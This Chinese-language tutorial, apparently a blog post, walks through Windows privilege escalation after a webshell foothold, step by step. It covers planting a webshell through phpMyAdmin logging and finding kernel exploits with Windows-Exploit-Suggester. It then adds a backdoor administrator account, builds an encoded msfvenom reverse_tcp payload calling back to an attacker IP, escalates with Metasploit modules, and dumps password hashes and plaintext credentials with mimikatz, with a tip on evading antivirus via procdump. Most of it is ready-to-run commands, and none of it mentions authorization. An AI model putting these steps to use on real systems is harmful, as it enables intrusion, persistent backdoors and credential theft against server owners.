每日一句:
坐看骄兵南渡,沸浪骇奔鲸。
——叶梦得《八声甘州·寿阳楼八公山作》
本文内容:
一、信息收集
二、权限提升
三、获取管理员密码
本次目标:
通过前期的信息收集,然后进行漏洞利用,拿到管理员密码
上一节,我们已经通过漏洞拿到服务器的一些低权限用户,因为权限问题,很多操作不能使用
本篇文章来介绍一下,对漏洞利用的升级版---提权。
一、信息收集
问:怎么又说信息收集?
答:
~因为它足够重要,即使我们拿到webshell也要进行信息收集,这点很重要。
~当信息足够完善的时候,我们可以进行提权。拿到管理员的明文密码
二、权限提升
1,常见提权的方法:
~使用exp提权补丁进行权限提升,从用户权限到管理员权限:windows提权工具
~使用MSF后渗透测试脚本提权
场景:爆破出phpmyadmin账户与密码,登陆后,通过开启日志记录,写入到网站一个小马
~参与phpinfo()测试小马有没有生效
~连接蚁剑
~打开虚拟终端你,whami一下,不出意外是低权限用户
~输入,systeminfo,显示一下服务器详细信息。侧重看一眼补丁程序
===信息收集为接下来的提权和其他操作做准备
额外小技巧:将服务器信息写入到文本文档中
示例:systeminfo >> sb.txt
2,快速查找exp提权补丁进行提权:
1,在线辅助网页
在线比对补丁查找exp: https://bugs.hacking8.com/tiquan/
===版本号可以通过信息收集得到
2,提权辅助工具
https://github.com/GDSSecurity/Windows-Exploit-Suggester
使用步骤:
克隆项目:
git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git
安装一下依赖库:
pip3 install xlrd --upgrade
问:Python3 pip 与pip3 区别?
答:pip 是 Python 包管理工具,该工具提供了对Python 包的查找、下载、安装、卸载的功能。
这时要看你机子上原来有没有装python2,如果以前有python2,那么pip就是python2的,pip3就是python3的。
如果只有python3,pip和pip3就是一样的。
进入刚刚克隆的目录下: cd Windows-Exploit-Suggester
更新一下数据库: python windows-exploit-suggester.py --update
扫描靶机有没有可利用的提权工具:
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo sb.txt
===固定格式 读取数据库 ls看目录下具体文件名 固定格式 扫描的文件
注意,这个sb.txt需要放到Windows-Exploit-Suggester文件夹下,或者指定sb的绝对路径
结果前面带有,M的msf中可用的提权补丁,E是本地提权补丁。下边跟着的是具体版本对应的下载地址
问:信息收集中,未发现该系统有什么补丁,怎么用?
答:python windows-exploit-suggester.py --database 2019-09-20-mssb.xls --ostext ‘Windows 7 ‘
需要修改 需要修改
补充一下,github上的一个win系统提取工具地址:https://github.com/SecWiki/windows-kernel-exploits
3,提权具体步骤
方法一:
手工提权:
场景:已经上传小马,systeminfo,找到对应提权exe文件,且已经下载
步骤:
~将对应提权文件上传至服务器(假设此exe名字为aa.exe)
~打开蚁剑虚拟终端
~输入,aa.exe "whoami" 不出意外就是:system
格式:aa.exe "需要执行的命令"
注意:此时我们几乎可以执行任意命令
说明:当whoami结果是system的时候,就证明我们已经提权成功了
问:接下来干什么?
答:创建一个属于自己的用户,将他加入系统管理员组
步骤:
~aa.exe "net user x x /add" ===创建用户x,密码为x
~net user ===可以查看到x用户被创建
~aa.exe "net localgroup adminstrators x /add" ===将x加入管理员组
方法二:
使用MSF进行提权
步骤:
1,开启MSF
~service postgresql start ===开启数据库
~msfconsole ===开启MSF
2,创建一个基础木马
~打开新的终端运行下边目的
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.177.128 lport=1250 -f exe > shell.exe
说明: -e是指定平台,-i是进行编码 后边的5是5次。这涉及到免杀技术,下一章的内容
3,将生成的木马,用蚁剑进行上传
4,开启MSF的监听模块,接受会话
返回刚刚打开的MSF
~use exploit/multi/handler ===启用监听模块
~options ===查看需要配置什么
~set payload windows/meterpreter/reverse_tcp ===设置payload
~options ===继续查看配置
自行配置一些东西如:靶机IP、端口
~run ===开启监听
~返回蚁剑,终端运行这个shell.exe文件
========================================================
========说明:此时,监听模块处,应该会出现会话==========
========================================================
~sessions -l ===查看会话
5,使用信息收集模块-寻找提权脚本补丁
~use post/multi/recon/local_exploit_suggester
~options
~set sessions 1 ===设置配置
~run
正常情况下会找到一堆可以利用的
6,使用提权模块
~use exploit/windows/local/ms15_051_client_copy_image
//从上边查到的exp随便选择一个
~options
自行按照需要配置,如需要配置target
~show target ===查看有哪些target
~set target 1 ===选择编号为1的进行配置
~run
正常情况下,到这我么已经提权到system了
三、获取管理员密码
简述:通过mimikatz获取管理员密码
场景:通过MSF已经提权到管理员权限,如何获取密码
步骤:在上边提权的基础上,直接调用mimikatz命令。
meterpreter >mimikatz_command -f version
===查看版本信息
meterpreter >mimikatz_command -f samdump::hashes
===读取本地hash
问题:如果电脑没有mimikatz,可以去github上下载
答案:下载地址:https://github.com/gentilkiwi/mimikatz
额外一提:
有时,提权不成功,但是可以通过加载mimikatz来读取hash
当然了,做么做仅仅可以读取到当前用户的hash
步骤:
meterpreter > load mimikatz
这是若是提示:一些东西,看到“Did you mean to 'load kiwi' instead? ”
meterpreter > load kiwi
等加载出画面,就可以使用了。具体命令上边有(查看版本信息,读取本地hash)
若权限足够,等拿到hash就可以去拿去hash破解
在线解密: https://www.objectif-securite.ch/ophcrack
扩展:这个mimikatz有win版本,下载后上传到服务器,(前提是,已经提权)
通过冰蝎连接,运行下边命令也可以拿到管理员密码的hash值
打开终端,
mimikatz.exe log
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # exit
四、补充说明
问: Kali中更新msf的命令是啥?
sudo apt update
apt install metasploit-framework
问:如何查看MSF的版本?
msfconsole
version
问:在使用exp提权补丁的时候要注意什么?
模拟一个对方的环境出来,进行本地提权测试,不然的话,
很容易把对方的主机弄成蓝屏或者是宕机的情况,这些情况对方对对方的业务造成影响。
问:补丁大致可以分为哪两种?
提权补丁分为:本地提权和MSF模块提权
问:不能确定提权补丁的作用 -该怎么做?
首先,本地测试,然后去目标站点测试
随便拿一个提权补丁攻击其他的服务器,会造成对方网站崩溃,服务器蓝屏,都会影响对方业务正常运行
问:如果对面服务器系统存在杀软怎么办?
利用procdump+Mimikatz 绕过杀软获取Windows明文密码
https://blog.csdn.net/chinafe/article/details/12196359
procdump微软的软件,实际上这里用的是白名单
问:msf中创建一个基础的木马去链接是因为什么?
创建一个基础木马 为了更好的稳定连接